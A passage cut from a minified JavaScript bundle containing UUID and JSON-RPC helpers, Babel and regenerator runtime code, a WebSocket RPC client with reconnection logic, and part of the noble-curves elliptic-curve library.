R=Math.floor(x/20),K=Mv(v,5)+xL(R,I,q,M)+E+t[R]+p[x]>>>0;E=M,M=q,q=Mv(I,30)>>>0,I=v,v=K}n[0]=n[0]+v>>>0,n[1]=n[1]+I>>>0,n[2]=n[2]+q>>>0,n[3]=n[3]+M>>>0,n[4]=n[4]+E>>>0}return[n[0]>>24&255,n[0]>>16&255,n[0]>>8&255,n[0]&255,n[1]>>24&255,n[1]>>16&255,n[1]>>8&255,n[1]&255,n[2]>>24&255,n[2]>>16&255,n[2]>>8&255,n[2]&255,n[3]>>24&255,n[3]>>16&255,n[3]>>8&255,n[3]&255,n[4]>>24&255,n[4]>>16&255,n[4]>>8&255,n[4]&255]}var zL=VM("v5",80,OL);const KL=zL,RL="00000000-0000-0000-0000-000000000000";function LL(e){if(!mm(e))throw TypeError("Invalid UUID");return parseInt(e.substr(14,1),16)}const ZL=Object.freeze(Object.defineProperty({__proto__:null,NIL:RL,parse:JM,stringify:vm,v1:gL,v3:CL,v4:kL,v5:KL,validate:mm,version:LL},Symbol.toStringTag,{value:"Module"})),FM=sm(ZL),TL=FM.v4,NL=function(e,t,n,r){if(typeof e!="string")throw new TypeError(e+" must be a string");r=r||{};const o=typeof r.version=="number"?r.version:2;if(o!==1&&o!==2)throw new TypeError(o+" must be 1 or 2");const i={method:e};if(o===2&&(i.jsonrpc="2.0"),t){if(typeof t!="object"&&!Array.isArray(t))throw new TypeError(t+" must be an object, array or omitted");i.params=t}if(typeof n>"u"){const s=typeof r.generator=="function"?r.generator:function(){return TL()};i.id=s(i,r)}else o===2&&n===null?r.notificationIdNull&&(i.id=null):i.id=n;return i};var jL=NL;const WL=FM.v4,GL=jL,wd=function(e,t){if(!(this instanceof wd))return new wd(e,t);t||(t={}),this.options={reviver:typeof t.reviver<"u"?t.reviver:null,replacer:typeof t.replacer<"u"?t.replacer:null,generator:typeof t.generator<"u"?t.generator:function(){return WL()},version:typeof t.version<"u"?t.version:2,notificationIdNull:typeof t.notificationIdNull=="boolean"?t.notificationIdNull:!1},this.callServer=e};var YL=wd;wd.prototype.request=function(e,t,n,r){const o=this;let i=null;const s=Array.isArray(e)&&typeof t=="function";if(this.options.version===1&&s)throw new TypeError("JSON-RPC 1.0 does not support batching");if(s||!s&&e&&typeof e=="object"&&typeof t=="function")r=t,i=e;else{typeof n=="function"&&(r=n,n=void 0);const u=typeof r=="function";try{i=GL(e,t,n,{generator:this.options.generator,version:this.options.version,notificationIdNull:this.options.notificationIdNull})}catch(c){if(u)return r(c);throw c}if(!u)return i}let l;try{l=JSON.stringify(i,this.options.replacer)}catch(u){return r(u)}return this.callServer(l,function(u,c){o._parseResponse(u,c,r)}),i};wd.prototype._parseResponse=function(e,t,n){if(e){n(e);return}if(!t)return n();let r;try{r=JSON.parse(t,this.options.reviver)}catch(o){return n(o)}if(n.length===3)if(Array.isArray(r)){const o=function(s){return typeof s.error<"u"},i=function(s){return!o(s)};return n(null,r.filter(o),r.filter(i))}else return n(null,r.error,r.result);n(null,r)};const BL=_n(YL);var HM={},PM={exports:{}};(function(e){function t(n){return n&&n.__esModule?n:{default:n}}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports})(PM);var $b=PM.exports,Cv={exports:{}},kv={exports:{}},sw;function nf(){return sw||(sw=1,function(e){function t(n){"@babel/helpers - typeof";return e.exports=t=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(r){return typeof r}:function(r){return r&&typeof Symbol=="function"&&r.constructor===Symbol&&r!==Symbol.prototype?"symbol":typeof r},e.exports.__esModule=!0,e.exports.default=e.exports,t(n)}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports}(kv)),kv.exports}var aw;function JL(){return aw||(aw=1,function(e){var t=nf().default;function n(){e.exports=n=function(){return o},e.exports.__esModule=!0,e.exports.default=e.exports;var r,o={},i=Object.prototype,s=i.hasOwnProperty,a=Object.defineProperty||function(S,z,k){S[z]=k.value},l=typeof Symbol=="function"?Symbol:{},u=l.iterator||"@@iterator",c=l.asyncIterator||"@@asyncIterator",f=l.toStringTag||"@@toStringTag";function p(S,z,k){return Object.defineProperty(S,z,{value:k,enumerable:!0,configurable:!0,writable:!0}),S[z]}try{p({},"")}catch{p=function(k,y,T){return k[y]=T}}function m(S,z,k,y){var T=z&&z.prototype instanceof x?z:x,te=Object.create(T.prototype),le=new A(y||[]);return a(te,"_invoke",{value:L(S,k,le)}),te}function g(S,z,k){try{return{type:"normal",arg:S.call(z,k)}}catch(y){return{type:"throw",arg:y}}}o.wrap=m;var v="suspendedStart",I="suspendedYield",q="executing",M="completed",E={};function x(){}function R(){}function K(){}var W={};p(W,u,function(){return this});var j=Object.getPrototypeOf,H=j&&j(j(C([])));H&&H!==i&&s.call(H,u)&&(W=H);var P=K.prototype=x.prototype=Object.create(W);function U(S){["next","throw","return"].forEach(function(z){p(S,z,function(k){return this._invoke(z,k)})})}function X(S,z){function k(T,te,le,re){var de=g(S[T],S,te);if(de.type!=="throw"){var ce=de.arg,we=ce.value;return we&&t(we)=="object"&&s.call(we,"__await")?z.resolve(we.__await).then(function(Ie){k("next",Ie,le,re)},function(Ie){k("throw",Ie,le,re)}):z.resolve(we).then(function(Ie){ce.value=Ie,le(ce)},function(Ie){return k("throw",Ie,le,re)})}re(de.arg)}var y;a(this,"_invoke",{value:function(te,le){function re(){return new z(function(de,ce){k(te,le,de,ce)})}return y=y?y.then(re,re):re()}})}function L(S,z,k){var y=v;return function(T,te){if(y===q)throw Error("Generator is already running");if(y===M){if(T==="throw")throw te;return{value:r,done:!0}}for(k.method=T,k.arg=te;;){var le=k.delegate;if(le){var re=h(le,k);if(re){if(re===E)continue;return re}}if(k.method==="next")k.sent=k._sent=k.arg;else if(k.method==="throw"){if(y===v)throw y=M,k.arg;k.dispatchException(k.arg)}else k.method==="return"&&k.abrupt("return",k.arg);y=q;var de=g(S,z,k);if(de.type==="normal"){if(y=k.done?M:I,de.arg===E)continue;return{value:de.arg,done:k.done}}de.type==="throw"&&(y=M,k.method="throw",k.arg=de.arg)}}}function h(S,z){var k=z.method,y=S.iterator[k];if(y===r)return z.delegate=null,k==="throw"&&S.iterator.return&&(z.method="return",z.arg=r,h(S,z),z.method==="throw")||k!=="return"&&(z.method="throw",z.arg=new TypeError("The iterator does not provide a '"+k+"' method")),E;var T=g(y,S.iterator,z.arg);if(T.type==="throw")return z.method="throw",z.arg=T.arg,z.delegate=null,E;var te=T.arg;return te?te.done?(z[S.resultName]=te.value,z.next=S.nextLoc,z.method!=="return"&&(z.method="next",z.arg=r),z.delegate=null,E):te:(z.method="throw",z.arg=new TypeError("iterator result is not an object"),z.delegate=null,E)}function b(S){var z={tryLoc:S[0]};1 in S&&(z.catchLoc=S[1]),2 in S&&(z.finallyLoc=S[2],z.afterLoc=S[3]),this.tryEntries.push(z)}function w(S){var z=S.completion||{};z.type="normal",delete z.arg,S.completion=z}function A(S){this.tryEntries=[{tryLoc:"root"}],S.forEach(b,this),this.reset(!0)}function C(S){if(S||S===""){var z=S[u];if(z)return z.call(S);if(typeof S.next=="function")return S;if(!isNaN(S.length)){var k=-1,y=function T(){for(;++k<S.length;)if(s.call(S,k))return T.value=S[k],T.done=!1,T;return T.value=r,T.done=!0,T};return y.next=y}}throw new TypeError(t(S)+" is not iterable")}return R.prototype=K,a(P,"constructor",{value:K,configurable:!0}),a(K,"constructor",{value:R,configurable:!0}),R.displayName=p(K,f,"GeneratorFunction"),o.isGeneratorFunction=function(S){var z=typeof S=="function"&&S.constructor;return!!z&&(z===R||(z.displayName||z.name)==="GeneratorFunction")},o.mark=function(S){return Object.setPrototypeOf?Object.setPrototypeOf(S,K):(S.__proto__=K,p(S,f,"GeneratorFunction")),S.prototype=Object.create(P),S},o.awrap=function(S){return{__await:S}},U(X.prototype),p(X.prototype,c,function(){return this}),o.AsyncIterator=X,o.async=function(S,z,k,y,T){T===void 0&&(T=Promise);var te=new X(m(S,z,k,y),T);return o.isGeneratorFunction(z)?te:te.next().then(function(le){return le.done?le.value:te.next()})},U(P),p(P,f,"Generator"),p(P,u,function(){return this}),p(P,"toString",function(){return"[object Generator]"}),o.keys=function(S){var z=Object(S),k=[];for(var y in z)k.push(y);return k.reverse(),function T(){for(;k.length;){var te=k.pop();if(te in z)return T.value=te,T.done=!1,T}return T.done=!0,T}},o.values=C,A.prototype={constructor:A,reset:function(z){if(this.prev=0,this.next=0,this.sent=this._sent=r,this.done=!1,this.delegate=null,this.method="next",this.arg=r,this.tryEntries.forEach(w),!z)for(var k in this)k.charAt(0)==="t"&&s.call(this,k)&&!isNaN(+k.slice(1))&&(this[k]=r)},stop:function(){this.done=!0;var z=this.tryEntries[0].completion;if(z.type==="throw")throw z.arg;return this.rval},dispatchException:function(z){if(this.done)throw z;var k=this;function y(ce,we){return le.type="throw",le.arg=z,k.next=ce,we&&(k.method="next",k.arg=r),!!we}for(var T=this.tryEntries.length-1;T>=0;--T){var te=this.tryEntries[T],le=te.completion;if(te.tryLoc==="root")return y("end");if(te.tryLoc<=this.prev){var re=s.call(te,"catchLoc"),de=s.call(te,"finallyLoc");if(re&&de){if(this.prev<te.catchLoc)return y(te.catchLoc,!0);if(this.prev<te.finallyLoc)return y(te.finallyLoc)}else if(re){if(this.prev<te.catchLoc)return y(te.catchLoc,!0)}else{if(!de)throw Error("try statement without catch or finally");if(this.prev<te.finallyLoc)return y(te.finallyLoc)}}}},abrupt:function(z,k){for(var y=this.tryEntries.length-1;y>=0;--y){var T=this.tryEntries[y];if(T.tryLoc<=this.prev&&s.call(T,"finallyLoc")&&this.prev<T.finallyLoc){var te=T;break}}te&&(z==="break"||z==="continue")&&te.tryLoc<=k&&k<=te.finallyLoc&&(te=null);var le=te?te.completion:{};return le.type=z,le.arg=k,te?(this.method="next",this.next=te.finallyLoc,E):this.complete(le)},complete:function(z,k){if(z.type==="throw")throw z.arg;return z.type==="break"||z.type==="continue"?this.next=z.arg:z.type==="return"?(this.rval=this.arg=z.arg,this.method="return",this.next="end"):z.type==="normal"&&k&&(this.next=k),E},finish:function(z){for(var k=this.tryEntries.length-1;k>=0;--k){var y=this.tryEntries[k];if(y.finallyLoc===z)return this.complete(y.completion,y.afterLoc),w(y),E}},catch:function(z){for(var k=this.tryEntries.length-1;k>=0;--k){var y=this.tryEntries[k];if(y.tryLoc===z){var T=y.completion;if(T.type==="throw"){var te=T.arg;w(y)}return te}}throw Error("illegal catch attempt")},delegateYield:function(z,k,y){return this.delegate={iterator:C(z),resultName:k,nextLoc:y},this.method==="next"&&(this.arg=r),E}},o}e.exports=n,e.exports.__esModule=!0,e.exports.default=e.exports}(Cv)),Cv.exports}var xv,lw;function VL(){if(lw)return xv;lw=1;var e=JL()();xv=e;try{regeneratorRuntime=e}catch{typeof globalThis=="object"?globalThis.regeneratorRuntime=e:Function("r","regeneratorRuntime = r")(e)}return xv}var Ov={exports:{}},uw;function UL(){return uw||(uw=1,function(e){function t(r,o,i,s,a,l,u){try{var c=r[l](u),f=c.value}catch(p){i(p);return}c.done?o(f):Promise.resolve(f).then(s,a)}function n(r){return function(){var o=this,i=arguments;return new Promise(function(s,a){var l=r.apply(o,i);function u(f){t(l,s,a,u,c,"next",f)}function c(f){t(l,s,a,u,c,"throw",f)}u(void 0)})}}e.exports=n,e.exports.__esModule=!0,e.exports.default=e.exports}(Ov)),Ov.exports}var zv={exports:{}},cw;function e1(){return cw||(cw=1,function(e){function t(n,r){if(!(n instanceof r))throw new TypeError("Cannot call a class as a function")}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports}(zv)),zv.exports}var Kv={exports:{}},Rv={exports:{}},Lv={exports:{}},dw;function FL(){return dw||(dw=1,function(e){var t=nf().default;function n(r,o){if(t(r)!="object"||!r)return r;var i=r[Symbol.toPrimitive];if(i!==void 0){var s=i.call(r,o||"default");if(t(s)!="object")return s;throw new TypeError("@@toPrimitive must return a primitive value.")}return(o==="string"?String:Number)(r)}e.exports=n,e.exports.__esModule=!0,e.exports.default=e.exports}(Lv)),Lv.exports}var fw;function HL(){return fw||(fw=1,function(e){var t=nf().default,n=FL();function r(o){var i=n(o,"string");return t(i)=="symbol"?i:i+""}e.exports=r,e.exports.__esModule=!0,e.exports.default=e.exports}(Rv)),Rv.exports}var hw;function t1(){return hw||(hw=1,function(e){var t=HL();function n(o,i){for(var s=0;s<i.length;s++){var a=i[s];a.enumerable=a.enumerable||!1,a.configurable=!0,"value"in a&&(a.writable=!0),Object.defineProperty(o,t(a.key),a)}}function r(o,i,s){return i&&n(o.prototype,i),s&&n(o,s),Object.defineProperty(o,"prototype",{writable:!1}),o}e.exports=r,e.exports.__esModule=!0,e.exports.default=e.exports}(Kv)),Kv.exports}var Zv={exports:{}},Tv={exports:{}},pw;function PL(){return pw||(pw=1,function(e){function t(n){if(n===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return n}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports}(Tv)),Tv.exports}var mw;function DM(){return mw||(mw=1,function(e){var t=nf().default,n=PL();function r(o,i){if(i&&(t(i)==="object"||typeof i=="function"))return i;if(i!==void 0)throw new TypeError("Derived constructors may only return object or undefined");return n(o)}e.exports=r,e.exports.__esModule=!0,e.exports.default=e.exports}(Zv)),Zv.exports}var Nv={exports:{}},vw;function XM(){return vw||(vw=1,function(e){function t(n){return e.exports=t=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(o){return o.__proto__||Object.getPrototypeOf(o)},e.exports.__esModule=!0,e.exports.default=e.exports,t(n)}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports}(Nv)),Nv.exports}var jv={exports:{}},Wv={exports:{}},gw;function DL(){return gw||(gw=1,function(e){function t(n,r){return e.exports=t=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(i,s){return i.__proto__=s,i},e.exports.__esModule=!0,e.exports.default=e.exports,t(n,r)}e.exports=t,e.exports.__esModule=!0,e.exports.default=e.exports}(Wv)),Wv.exports}var yw;function QM(){return yw||(yw=1,function(e){var t=DL();function n(r,o){if(typeof o!="function"&&o!==null)throw new TypeError("Super expression must either be null or a function");r.prototype=Object.create(o&&o.prototype,{constructor:{value:r,writable:!0,configurable:!0}}),Object.defineProperty(r,"prototype",{writable:!1}),o&&t(r,o)}e.exports=n,e.exports.__esModule=!0,e.exports.default=e.exports}(jv)),jv.exports}var Ql={},bw;function XL(){if(bw)return Ql;bw=1;var e=$b;Object.defineProperty(Ql,"__esModule",{value:!0}),Ql.DefaultDataPack=void 0,Ql.createError=o;var t=e(e1()),n=e(t1()),r=new Map([[-32e3,"Event not provided"],[-32600,"Invalid Request"],[-32601,"Method not found"],[-32602,"Invalid params"],[-32603,"Internal error"],[-32604,"Params not found"],[-32605,"Method forbidden"],[-32606,"Event forbidden"],[-32700,"Parse error"]]);Ql.DefaultDataPack=function(){function i(){(0,t.default)(this,i)}return(0,n.default)(i,[{key:"encode",value:function(a){return JSON.stringify(a)}},{key:"decode",value:function(a){return JSON.parse(a)}}])}();function o(i,s){var a={code:i,message:r.get(i)||"Internal Server Error"};return s&&(a.data=s),a}return Ql}(function(e){var t=$b;Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var n=t(VL()),r=t(UL()),o=t(nf()),i=t(e1()),s=t(t1()),a=t(DM()),l=t(XM()),u=t(QM()),c=xb(),f=XL();function p(v,I,q){return I=(0,l.default)(I),(0,a.default)(v,m()?Reflect.construct(I,q||[],(0,l.default)(v).constructor):I.apply(v,q))}function m(){try{var v=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch{}return(m=function(){return!!v})()}var g=function(v,I){var q={};for(var M in v)Object.prototype.hasOwnProperty.call(v,M)&&I.indexOf(M)<0&&(q[M]=v[M]);if(v!=null&&typeof Object.getOwnPropertySymbols=="function")for(var E=0,M=Object.getOwnPropertySymbols(v);E<M.length;E++)I.indexOf(M[E])<0&&Object.prototype.propertyIsEnumerable.call(v,M[E])&&(q[M[E]]=v[M[E]]);return q};e.default=function(v){function I(q){var M,E=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"ws://localhost:8080",x=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},R=arguments.length>3?arguments[3]:void 0,K=arguments.length>4?arguments[4]:void 0;(0,i.default)(this,I);var W=x.autoconnect,j=W===void 0?!0:W,H=x.reconnect,P=H===void 0?!0:H,U=x.reconnect_interval,X=U===void 0?1e3:U,L=x.max_reconnects,h=L===void 0?5:L,b=g(x,["autoconnect","reconnect","reconnect_interval","max_reconnects"]);return M=p(this,I),M.webSocketFactory=q,M.queue={},M.rpc_id=0,M.address=E,M.autoconnect=j,M.ready=!1,M.reconnect=P,M.reconnect_timer_id=void 0,M.reconnect_interval=X,M.max_reconnects=h,M.rest_options=b,M.current_reconnects=0,M.generate_request_id=R||function(){return++M.rpc_id},K?M.dataPack=K:M.dataPack=new f.DefaultDataPack,M.autoconnect&&M._connect(M.address,Object.assign({autoconnect:M.autoconnect,reconnect:M.reconnect,reconnect_interval:M.reconnect_interval,max_reconnects:M.max_reconnects},M.rest_options)),M}return(0,u.default)(I,v),(0,s.default)(I,[{key:"connect",value:function(){this.socket||this._connect(this.address,Object.assign({autoconnect:this.autoconnect,reconnect:this.reconnect,reconnect_interval:this.reconnect_interval,max_reconnects:this.max_reconnects},this.rest_options))}},{key:"call",value:function(M,E,x,R){var K=this;return!R&&(0,o.default)(x)==="object"&&(R=x,x=null),new Promise(function(W,j){if(!K.ready)return j(new Error("socket not ready"));var H=K.generate_request_id(M,E),P={jsonrpc:"2.0",method:M,params:E||void 0,id:H};K.socket.send(K.dataPack.encode(P),R,function(U){if(U)return j(U);K.queue[H]={promise:[W,j]},x&&(K.queue[H].timeout=setTimeout(function(){delete K.queue[H],j(new Error("reply timeout"))},x))})})}},{key:"login",value:function(){var q=(0,r.default)(n.default.mark(function E(x){var R;return n.default.wrap(function(W){for(;;)switch(W.prev=W.next){case 0:return W.next=2,this.call("rpc.login",x);case 2:if(R=W.sent,R){W.next=5;break}throw new Error("authentication failed");case 5:return W.abrupt("return",R);case 6:case"end":return W.stop()}},E,this)}));function M(E){return q.apply(this,arguments)}return M}()},{key:"listMethods",value:function(){var q=(0,r.default)(n.default.mark(function E(){return n.default.wrap(function(R){for(;;)switch(R.prev=R.next){case 0:return R.next=2,this.call("__listMethods");case 2:return R.abrupt("return",R.sent);case 3:case"end":return R.stop()}},E,this)}));function M(){return q.apply(this,arguments)}return M}()},{key:"notify",value:function(M,E){var x=this;return new Promise(function(R,K){if(!x.ready)return K(new Error("socket not ready"));var W={jsonrpc:"2.0",method:M,params:E};x.socket.send(x.dataPack.encode(W),function(j){if(j)return K(j);R()})})}},{key:"subscribe",value:function(){var q=(0,r.default)(n.default.mark(function E(x){var R;return n.default.wrap(function(W){for(;;)switch(W.prev=W.next){case 0:return typeof x=="string"&&(x=[x]),W.next=3,this.call("rpc.on",x);case 3:if(R=W.sent,!(typeof x=="string"&&R[x]!=="ok")){W.next=6;break}throw new Error("Failed subscribing to an event '"+x+"' with: "+R[x]);case 6:return W.abrupt("return",R);case 7:case"end":return W.stop()}},E,this)}));function M(E){return q.apply(this,arguments)}return M}()},{key:"unsubscribe",value:function(){var q=(0,r.default)(n.default.mark(function E(x){var R;return n.default.wrap(function(W){for(;;)switch(W.prev=W.next){case 0:return typeof x=="string"&&(x=[x]),W.next=3,this.call("rpc.off",x);case 3:if(R=W.sent,!(typeof x=="string"&&R[x]!=="ok")){W.next=6;break}throw new Error("Failed unsubscribing from an event with: "+R);case 6:return W.abrupt("return",R);case 7:case"end":return W.stop()}},E,this)}));function M(E){return q.apply(this,arguments)}return M}()},{key:"close",value:function(M,E){this.socket.close(M||1e3,E)}},{key:"setAutoReconnect",value:function(M){this.reconnect=M}},{key:"setReconnectInterval",value:function(M){this.reconnect_interval=M}},{key:"setMaxReconnects",value:function(M){this.max_reconnects=M}},{key:"_connect",value:function(M,E){var x=this;clearTimeout(this.reconnect_timer_id),this.socket=this.webSocketFactory(M,E),this.socket.addEventListener("open",function(){x.ready=!0,x.emit("open"),x.current_reconnects=0}),this.socket.addEventListener("message",function(R){var K=R.data;K instanceof ArrayBuffer&&(K=sn.from(K).toString());try{K=x.dataPack.decode(K)}catch{return}if(K.notification&&x.listeners(K.notification).length){if(!Object.keys(K.params).length)return x.emit(K.notification);var W=[K.notification];if(K.params.constructor===Object)W.push(K.params);else for(var j=0;j<K.params.length;j++)W.push(K.params[j]);return Promise.resolve().then(function(){x.emit.apply(x,W)})}if(!x.queue[K.id])return K.method?Promise.resolve().then(function(){x.emit(K.method,K==null?void 0:K.params)}):void 0;"error"in K=="result"in K&&x.queue[K.id].promise[1](new Error('Server response malformed. Response must include either "result" or "error", but not both.')),x.queue[K.id].timeout&&clearTimeout(x.queue[K.id].timeout),K.error?x.queue[K.id].promise[1](K.error):x.queue[K.id].promise[0](K.result),delete x.queue[K.id]}),this.socket.addEventListener("error",function(R){return x.emit("error",R)}),this.socket.addEventListener("close",function(R){var K=R.code,W=R.reason;x.ready&&setTimeout(function(){return x.emit("close",K,W)},0),x.ready=!1,x.socket=void 0,K!==1e3&&(x.current_reconnects++,x.reconnect&&(x.max_reconnects>x.current_reconnects||x.max_reconnects===0)&&(x.reconnect_timer_id=setTimeout(function(){return x._connect(M,E)},x.reconnect_interval)))})}}])}(c.EventEmitter)})(HM);const QL=_n(HM);var _M={};(function(e){var t=$b;Object.defineProperty(e,"__esModule",{value:!0}),e.default=f;var n=t(e1()),r=t(t1()),o=t(DM()),i=t(XM()),s=t(QM()),a=xb();function l(p,m,g){return m=(0,i.default)(m),(0,o.default)(p,u()?Reflect.construct(m,g||[],(0,i.default)(p).constructor):m.apply(p,g))}function u(){try{var p=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch{}return(u=function(){return!!p})()}var c=function(p){function m(g,v,I){var q;return(0,n.default)(this,m),q=l(this,m),q.socket=new window.WebSocket(g,I),q.socket.onopen=function(){return q.emit("open")},q.socket.onmessage=function(M){return q.emit("message",M.data)},q.socket.onerror=function(M){return q.emit("error",M)},q.socket.onclose=function(M){q.emit("close",M.code,M.reason)},q}return(0,s.default)(m,p),(0,r.default)(m,[{key:"send",value:function(v,I,q){var M=q||I;try{this.socket.send(v),M()}catch(E){M(E)}}},{key:"close",value:function(v,I){this.socket.close(v,I)}},{key:"addEventListener",value:function(v,I,q){this.socket.addEventListener(v,I,q)}}])}(a.EventEmitter);function f(p,m){return new c(p,m)}})(_M);const _L=_n(_M);/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */function $L(e){const t=Lb(e);fc(t,{a:"field",b:"field"},{allowedPrivateKeyLengths:"array",wrapPrivateKey:"boolean",isTorsionFree:"function",clearCofactor:"function",allowInfinityPoint:"boolean",fromBytes:"function",toBytes:"function"});const{endo:n,Fp:r,a:o}=t;if(n){if(!r.eql(o,r.ZERO))throw new Error("Endomorphism can only be defined for Koblitz curves that have a=0");if(typeof n!="object"||typeof n.beta!="bigint"||typeof n.splitScalar!="function")throw new Error("Expected endomorphism with beta: bigint and splitScalar: function")}return Object.freeze({...t})}const{bytesToNumberBE:eZ,hexToBytes:tZ}=s5,_a={Err:class extends Error{constructor(t=""){super(t)}},_parseInt(e){const{Err:t}=_a;if(e.length<2||e[0]!==2)throw new t("Invalid signature integer tag");const n=e[1],r=e.subarray(2,n+2);if(!n||r.length!==n)throw new t("Invalid signature integer: wrong length");if(r[0]&128)throw new t("Invalid signature integer: negative");if(r[0]===0&&!(r[1]&128))throw new t("Invalid signature integer: unnecessary leading zero");return{d:eZ(r),l:e.subarray(n+2)}},toSig(e){const{Err:t}=_a,n=typeof e=="string"?tZ(e):e;Qd(n);let r=n.length;if(r<2||n[0]!=48)throw new t("Invalid signature tag");if(n[1]!==r-2)throw new t("Invalid signature: incorrect length");const{d:o,l:i}=_a._parseInt(n.subarray(2)),{d:s,l:a}=_a._parseInt(i);if(a.length)throw new t("Invalid signature: left bytes after parsing");return{r:o,s}},hexFromSig(e){const t=u=>Number.parseInt(u[0],16)&8?"00"+u:u,n=u=>{const c=u.toString(16);return c.length&1?`0${c}`:c},r=t(n(e.s)),o=t(n(e.r)),i=r.length/2,s=o.length/2,a=n(i),l=n(s);return`30${n(s+i+4)}02${l}${o}02${a}${r}`}},ss=BigInt(0),Oo=BigInt(1);BigInt(2);const Iw=BigInt(3);BigInt(4);function nZ(e){const t=$L(e),{Fp:n}=t,r=t.toBytes||((g,v,I)=>{const q=v.toAffine();return El(Uint8Array.from([4]),n.toBytes(q.x),n.toBytes(q.y))}),o=t.fromBytes||(g=>{const v=g.subarray(1),I=n.fromBytes(v.subarray(0,n.BYTES)),q=n.fromBytes(v.subarray(n.BYTES,2*n.BYTES));return{x:I,y:q}});function i(g){const{a:v,b:I}=t,q=n.sqr(g),M=n.mul(q,g);return n.add(n.add(M,n.mul(g,v)),I)}if(!n.eql(n.sqr(t.Gy),i(t.Gx)))throw new Error("bad generator point: equation left != right");function s(g){return typeof g=="bigint"&&ss<g&&g<t.n}function a(g){if(!s(g))throw new Error("Expected valid bigint: 0 < bigint < curve.n")}function l(g){const{allowedPrivateKeyLengths:v,nByteLength:I,wrapPrivateKey:q,n:M}=t;if(v&&typeof g!="bigint"){if(wl(g)&&(g=Sl(g)),typeof g!="string"||!v.includes(g.length))throw new Error("Invalid key");g=g.padStart(I*2,"0")}let E;try{E=typeof g=="bigint"?g:fl(ur("private key",g,I))}catch{throw new Error(`private key must be ${I} bytes, hex or bigint, not ${typeof g}`)}return q&&(E=Wn(E,M)),a(E),E}const u=new Map;function c(g){if(!(g instanceof f))throw new Error("ProjectivePoint expected")}class f{constructor(v,I,q){if(this.px=v,this.py=I,this.pz=q,v==null||!n.isValid(v))throw new Error("x required");if(I==null||!n.isValid(I))throw new Error("y required");if(q==null||!n.isValid(q))throw new Error("z required")}static fromAffine(v){const{x:I,y:q}=v||{};if(!v||!n.isValid(I)||!n.isValid(q))throw new Error("invalid affine point");if(v instanceof f)throw new Error("projective point not allowed");const M=E=>n.eql(E,n.ZERO);return M(I)&&M(q)?f.ZERO:new f(I,q,n.ONE)}get x(){return this.toAffine().x}get y(){return this.toAffine().y}static normalizeZ(v){const I=n.invertBatch(v.map(q=>q.pz));return v.map((q,M)=>q.toAffine(I[M])).map(f.fromAffine)}static fromHex(v){const I=f.fromAffine(o(ur("pointHex",v)));return I.assertValidity(),I}static fromPrivateKey(v){return f.BASE.multiply(l(v))}_setWindowSize(v){this._WINDOW_SIZE=v,u.delete(this)}assertValidity(){if(this.is0()){if(t.allowInfinityPoint&&!n.is0(this.py))return;throw new Error("bad point: ZERO")}const{x:v,y:I}=this.toAffine();if(!n.isValid(v)||!n.isValid(I))throw new Error("bad point: x or y not FE");const q=n.sqr(I),M=i(v);if(!n.eql(q,M))throw new Error("bad point: equation left != right");if(!this.isTorsionFree())throw new Error("bad point: not in prime-order subgroup")}hasEvenY(){const{y:v}=this.toAffine();if(n.isOdd)return!n.isOdd(v);throw new Error("Field doesn't support isOdd")}equals(v){c(v);const{px:I,py:q,pz:M}=this,{px:E,py:x,pz:R}=v,K=n.eql(n.mul(I,R),n.mul(E,M)),W=n.eql(n.mul(q,R),n.mul(x,M));return K&&W}negate(){return new f(this.px,n.neg(this.py),this.pz)}double(){const{a:v,b:I}=t,q=n.mul(I,Iw),{px:M,py:E,pz:x}=this;let R=n.ZERO,K=n.ZERO,W=n.ZERO,j=n.mul(M,M),H=n.mul(E,E),P=n.mul(x,x),U=n.mul(M,E);return U=n.add(U,U),W=n.mul(M,x),W=n.add(W,W),R=n.mul(v,W),K=n.mul(q,P),K=n.add(R,K),R=n.sub(H,K),K=n.add(H,K),K=n.mul(R,K),R=n.mul(U,R),W=n.mul(q,W),P=n.mul(v,P),U=n.sub(j,P),U=n.mul(v,U),U=n.add(U,W),W=n.add(j,j),j=n.add(W,j),j=n.add(j,P),j=n.mul(j,U),K=n.add(K,j),P=n.mul(E,x),P=n.add(P,P),j=n.mul(P,U),R=n.sub(R,j),W=n.mul(P,H),W=n.add(W,W),W=n.add(W,W),new f(R,K,W)}add(v){c(v);const{px:I,py:q,pz:M}=this,{px:E,py:x,pz:R}=v;let K=n.ZERO,W=n.ZERO,j=n.ZERO;const H=t.a,P=n.mul(t.b,Iw);let U=n.mul(I,E),X=n.mul(q,x),L=n.mul(M,R),h=n.add(I,q),b=n.add(E,x);h=n.mul(h,b),b=n.add(U,X),h=n.sub(h,b),b=n.add(I,M);let w=n.add(E,R);return b=n.mul(b,w),w=n.add(U,L),b=n.sub(b,w),w=n.add(q,M),K=n.add(x,R),w=n.mul(w,K),K=n.add(X,L),w=n.sub(w,K),j=n.mul(H,b),K=n.mul(P,L),j=n.add(K,j),K=n.sub(X,j),j=n.add(X,j),W=n.mul(K,j),X=n.add(U,U),X=n.add(X,U),L=n.mul(H,L),b=n.mul(P,b),X=n.add(X,L),L=n.sub(U,L),L=n.mul(H,L),b=n.add(b,L),U=n.mul(X,b),W=n.add(W,U),U=n.mul(w,b),K=n.mul(h,K),K=n.sub(K,U),U=n.mul(h,X),j=n.mul(w,j),j=n.add(j,U),new f(K,W,j)}subtract(v){return this.add(v.negate())}is0(){return this.equals(f.ZERO)}wNAF(v){return m.wNAFCached(this,u,v,I=>{const q=n.invertBatch(I.map(M=>M.pz));return I.map((M,E)=>M.toAffine(q[E])).map(f.fromAffine)})}multiplyUnsafe(v){const I=f.ZERO;if(v===ss)return I;if(a(v),v===Oo)return this;const{endo:q}=t;if(!q)return 